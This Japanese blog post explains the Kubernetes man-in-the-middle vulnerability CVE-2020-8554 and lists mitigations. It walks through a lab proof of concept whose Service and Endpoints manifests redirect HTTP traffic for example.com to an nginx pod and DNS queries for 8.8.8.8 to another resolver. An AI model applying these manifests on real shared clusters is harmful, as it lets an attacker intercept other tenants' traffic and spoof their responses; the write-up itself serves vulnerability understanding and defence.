今回は前回と違いライトなネタです。
概要
Kubernetesで新しい脆弱性(CVE-2020-8554)が公開されました。
拍子抜けするほど簡単な脆弱性なのですが、一応試しておきました。発見者の方のブログも以下にあります。
今回の脆弱性はServiceのtype: LoadBalancer/ClusterIPを悪用して行う中間者攻撃(MITM)なのですが、ブログの中でMITM as a Serviceと評していたのが面白かったです。KubernetesがMITMを簡単に代行してくれるという意味でas a Service感強いですし、今回悪用するリソースタイプもServiceなので二重にかかっていて好きです。
要約
- 前提
- 攻撃者が以下のいずれかの権限を持つ場合
- type: ClusterIPのServiceを作成可能かつspec.externalIPsを設定可能
- type: LoadBalancerのServiceのspec.externalIPsを設定可能
- type: LoadBalancerのstatusが変更可能
- より具体的にはstatus.loadBalancer.ingress.ipを変更可能
- 攻撃者が以下のいずれかの権限を持つ場合
- 影響
- Kubernetesクラスタ内のPod/Nodeから特定のIPアドレスに対する通信の傍受(中間者攻撃)
- 影響するクラスタ
- 全てのKubernetesバージョン
- 特にマルチテナントをしていてServiceを作る権限がある場合は影響が大きい
- 他の利用者のPod/Nodeの通信を傍受できる可能性があるため
- アップデート
- なし(設計上の欠陥であり修正のためには破壊的変更が必要)
- 緩和策
- 任意のexternalIPsを設定できないようにAdmission Webhookで弾く
- そのためのツールが提供されている
- https://github.com/kubernetes-sigs/externalip-webhook
- externalIPsとして利用可能なCIDRを指定可能
- それに違反するexternalIPsが来た場合はServiceの作成を拒否
- https://github.com/open-policy-agent/gatekeeper-library/tree/master/library/general/externalip
- GatekeeperのConstraintになっている
- allowedIPsでexternalIPsとして利用可能なIPアドレスを指定
- CIDRが使える上の方が良さそうだが、既にGatekeeper導入済みの場合はこっちが楽そう
- https://github.com/kubernetes-sigs/externalip-webhook
- 個人的な感想
- マルチテナントクラスタの場合は影響ありそう
- それ以外は攻撃者がServiceを作れるという前提が厳しいため影響は軽微
脆弱性概要
Serviceではtype: LoadBalancerやtype: ClusterIPが利用できますが、その中にexternalIPsというフィールドがあります。
上記のドキュメントにある設定例を引用します。
apiVersion: v1 kind: Service metadata: name: my-service spec: selector: app: MyApp ports: - name: http protocol: TCP port: 80 targetPort: 9376 externalIPs: - 80.11.12.10
この例ではmy-serviceは80.11.12.10:80でアクセス可能です。ここでexternalIPsを指定していますが、ドキュメントにもあるようにこれはKubernetesで管理されているわけではありません。実は任意のIPアドレスが指定できるというのが今回の脆弱性の肝です。
例えば8.8.8.8を指定するとどうなるかと言うと、8.8.8.8宛に通信したいPodのリクエストが全てmy-serviceにルーティングされます。これはクラスタ外部には影響を与えないので、クラスタ内のPodやNodeが影響を受けます。
これを悪用して、例えば example.com にアクセスしたいPodのHTTPリクエストを吸い込んで偽の応答を返すと行ったことが可能です。
非常にシンプルすぎてこれ以上特に説明することがありません。脆弱性の説明だけで2万文字以上書いた前回とは雲泥の差です。脆弱性に興味ある人は以下も興味あるかもしれないので一応貼っておきます。
さすがにシンプルすぎたのでちょっとお絵かきしてみました。インターネット上の8.8.8.8にアクセスしたいのにexternalIP: 8.8.8.8なServiceがあるせいでそちらにトラフィックが吸い込まれるイメージです。あくまでイメージなのであまり厳密性は考慮して作ってません。
PoC
簡単なのでHTTPとDNS両方やってみます。ご丁寧に上のGitHubのIssueや発見者のブログに再現方法も載っているので簡単です。ただ自分の環境用に少しアレンジしています。 Namespaceはdefaultでやってますが、あとで消すの面倒な人は適当なテスト用のNamespaceを作っておくと良いと思います。 自分はkindを使いました。
$ kind create cluster
HTTP編
まず、nginxを起動します。このnginxはHTTPリクエスト吸い込む先のPodになります。もちろん本来であればnginxではなくて攻撃者の好きなことをするためのPodを配置します。
$ kubectl run nginx --image nginx:latest --port 80
この状態で example.com にアクセスしてみます。
$ kubectl run --rm -it curl --image=curlimages/curl --restart=Never -- curl -I http://example.com HTTP/1.1 200 OK Accept-Ranges: bytes Age: 493368 Cache-Control: max-age=604800 Content-Type: text/html; charset=UTF-8 Date: Tue, 08 Dec 2020 04:34:39 GMT Etag: "3147526947" Expires: Tue, 15 Dec 2020 04:34:39 GMT Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT Server: ECS (dcb/7EC8) X-Cache: HIT Content-Length: 1256 pod "curl" deleted
そうすると上記のようなデータが返ってきます。この時点では正常にアクセスできています。
次にtype: ClusterIPのServiceを作ります。この時、externalIPsのところに吸い込みたいIPアドレスを指定します。今回は example.com のIPアドレスにしています。selectorとしてnginxを指定しているので、example.com 宛の通信がnginxに吸い込まれます。
$ cat service.yaml apiVersion: v1 kind: Service metadata: name: mitm spec: selector: run: nginx type: ClusterIP ports: - name: http protocol: TCP port: 80 targetPort: 80 externalIPs: - 93.184.216.34 $ kubectl get service NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE kubernetes ClusterIP 10.96.0.1 <none> 443/TCP 10m mitm ClusterIP 10.110.24.182 93.184.216.34 80/TCP 7s
EXTERNAL-IPが93.184.216.34になっていることを確認したら、もう一度 example.com にアクセスしてみます。
$ kubectl run --rm -it curl --image=curlimages/curl --restart=Never -- curl -I http://example.com HTTP/1.1 200 OK Server: nginx/1.19.5 Date: Tue, 08 Dec 2020 04:45:26 GMT Content-Type: text/html Content-Length: 612 Last-Modified: Tue, 24 Nov 2020 13:02:03 GMT Connection: keep-alive ETag: "5fbd044b-264" Accept-Ranges: bytes pod "curl" deleted
今度はnginxからレスポンスが返ってきていることが分かります。ということで攻撃者のPodでHTTPリクエストを盗聴することができました。
DNS編
先程はServiceのselectorを使って攻撃者のPodに対してリクエストを送らせる方法を取りましたが、実は Endpoints を使うことでKubernetesクラスタ内だけではなく外部にデータを送らせることも可能です。EndpointsはService使った時とかに作られるぐらいの雑な認識だったのですが、自分でも好きにいじれるということを知りました(当たり前ですが)。Serviceがselectorを持ってない場合などは自分でEndpoints作るということがドキュメントにも書いてありました。
とりあえず先程のServiceを消しておきます。
$ kubectl delete svc/mitm
最初からdigなどがセットアップされたコンテナイメージを発見者の方が用意してくれているようですが、簡単なので自分でセットアップしていきます。
まずさっき作ったnginxのPodにログインします。
$ kubectl exec -it nginx -- bash
digをインストールします(ついでにvimも)。
$ apt -y update && apt -y install dnsutils vim
まず適当に名前を引いてみます。
root@nginx:/# dig example.com (中略) ;; SERVER: 10.96.0.10#53(10.96.0.10) ;; WHEN: Tue Dec 08 05:30:18 UTC 2020 ;; MSG SIZE rcvd: 79
結果を見ると10.96.0.10に問い合わせに行っています。
resolv.confを見ると確かにそうなっています。
root@nginx:/# cat /etc/resolv.conf search default.svc.cluster.local svc.cluster.local cluster.local nameserver 10.96.0.10 options ndots:5
k8sクラスタ内のIPアドレスだとLoadBalancerでの吸い込みが動かないかと思います。少なくとも自分の環境では無理でした。内部のIPアドレス宛だとデフォルトゲートウェイに飛ばされず内部で通信してしまうのでLoadBalancerのレイヤーに到達しない気がしますし、これは動かないのが自然かと思います。
何か頑張ればできるかもしれませんが、今回は外部のDNSサーバに変えます。発見者の方の動画を見ると、GKEでは169.254.169.254になっているため特に設定変更不要で攻撃が刺さるようでした。
今回は8.8.8.8にしています。
root@nginx:/# cat /etc/resolv.conf search default.svc.cluster.local svc.cluster.local cluster.local nameserver 8.8.8.8 options ndots:5
再度適当に名前を引いてみます。
root@nginx:/# dig example.com (中略) ;; ANSWER SECTION: example.com. 20528 IN A 93.184.216.34 ;; Query time: 51 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Tue Dec 08 05:41:43 UTC 2020 ;; MSG SIZE rcvd: 56
確かに8.8.8.8にアクセスしています。CHAOSクラスを確認してみます。
root@nginx:/# dig +short CH TXT version.server root@nginx:/# dig +short CH TXT id.server
すると何も返ってきません。Google Public DNSはCHAOSクラスのレコードを返してくれないようです。ちなみにBINDなどではversion.bindでバージョンを確認することができます。
ただBINDのバージョンを返すと脆弱なバージョンであることが分かったりしてセキュリティ上は良くないため、ローカルネットワークからのみ許可するなどの設定が一般的です。
上の確認ができたらexitして以下の設定を進めます。または別のターミナルを開いても良いです。
Kubernetesの設定に戻ります。先程はClusterIPを使ったので、今回はLoadBalancerを使ってみます。今回は8.8.8.8宛の53/udpを吸い込みたいので、以下のような設定にします。
先ほど説明したようにselectorは設定していません。
$ cat service.yaml apiVersion: v1 kind: Service metadata: name: mitm spec: type: LoadBalancer ports: - name: dns protocol: UDP port: 53 targetPort: 53 externalIPs: - 8.8.8.8 $ kubectl apply -f service.yaml service/mitm created $ kubectl get svc/mitm NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE mitm LoadBalancer 10.105.50.141 8.8.8.8 53:31296/UDP 24s
selectorを指定していないのでEndpointsもありません。
$ kubectl get endpoints/mitm Error from server (NotFound): endpoints "mitm" not found
ということで自分で作ります。1.1.1.1の53/udpに飛ばしてほしいので以下のようになります。ちなみに発見者の方のブログのYAMLは最後がtargetPortになっていますが(2020/12/08現在)、それだと動かなくてprotocolが正しいかなと思います。
$ cat endpoints.yaml apiVersion: v1 kind: Endpoints metadata: name: mitm subsets: - addresses: - ip: 1.1.1.1 ports: - name: dns port: 53 protocol: UDP
applyすれば準備完了です。
$ kubectl apply -f endpoints.yaml $ kubectl get endpoints/mitm NAME ENDPOINTS AGE mitm 1.1.1.1:53 2s
ではもう一度nginxのPodに入ってdigで引いてみます。
$ kubectl exec -it nginx -- bash root@nginx:/# dig example.com (中略) ;; ANSWER SECTION: example.com. 81213 IN A 93.184.216.34 ;; Query time: 22 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Tue Dec 08 05:57:48 UTC 2020 ;; MSG SIZE rcvd: 56
8.8.8.8に問い合わせていますし、特に何も変わっていないように見えます。しかし再度CHAOSクラスのversion.serverなどを引いてみます。
root@nginx:/# dig +short CH TXT version.server "2020.12.0" root@nginx:/# dig +short CH TXT id.server "TLV"
今度は値が返ってきています。これはCloudflareのDNSサーバがこれらのレコードに対応しているためです。version.serverの方は発見者の環境では "cluodflare-resolver-2019.11.0" などのわかりやすい値が返ってきていましたが、自分の環境では"2020.12.0"のみでした。
1.1.1.1に問い合わせると同じ値が帰ってくることが分かります。
root@nginx:/# dig +short @1.1.1.1 CH TXT version.server "2020.12.0"
id.serverは自分がイスラエルのTel-Aviv在住なのでTLVになっています。
ということで8.8.8.8に問い合わせたはずなのに1.1.1.1に問い合わせに行っていることが分かります。これを1.1.1.1ではなく攻撃者のDNSサーバにしてしまえば好きなDNSレスポンスを返すことができます。
その他
他にも実験した内容が発見者のブログには書いてあるため、興味がある人は目を通すと良いです。
まとめ
攻撃者がServiceの設定が出来るという前提があるため実際の悪用はマルチテナント以外の状況では難しいかと思いますが、シンプルな脆弱性なので軽く目を通しておくと良いかと思います。
以下のブログで解説した脆弱性も攻撃者がクラスタ内にいる前提での中間者攻撃でした。最近のトレンドかなと思います。
今回の脆弱性は影響こそ大きくないものの設計上の欠陥ということでパッチは今のところないため、軽く頭の片隅においておくと良さそうです。今後の方針については以下で話し合われているようです。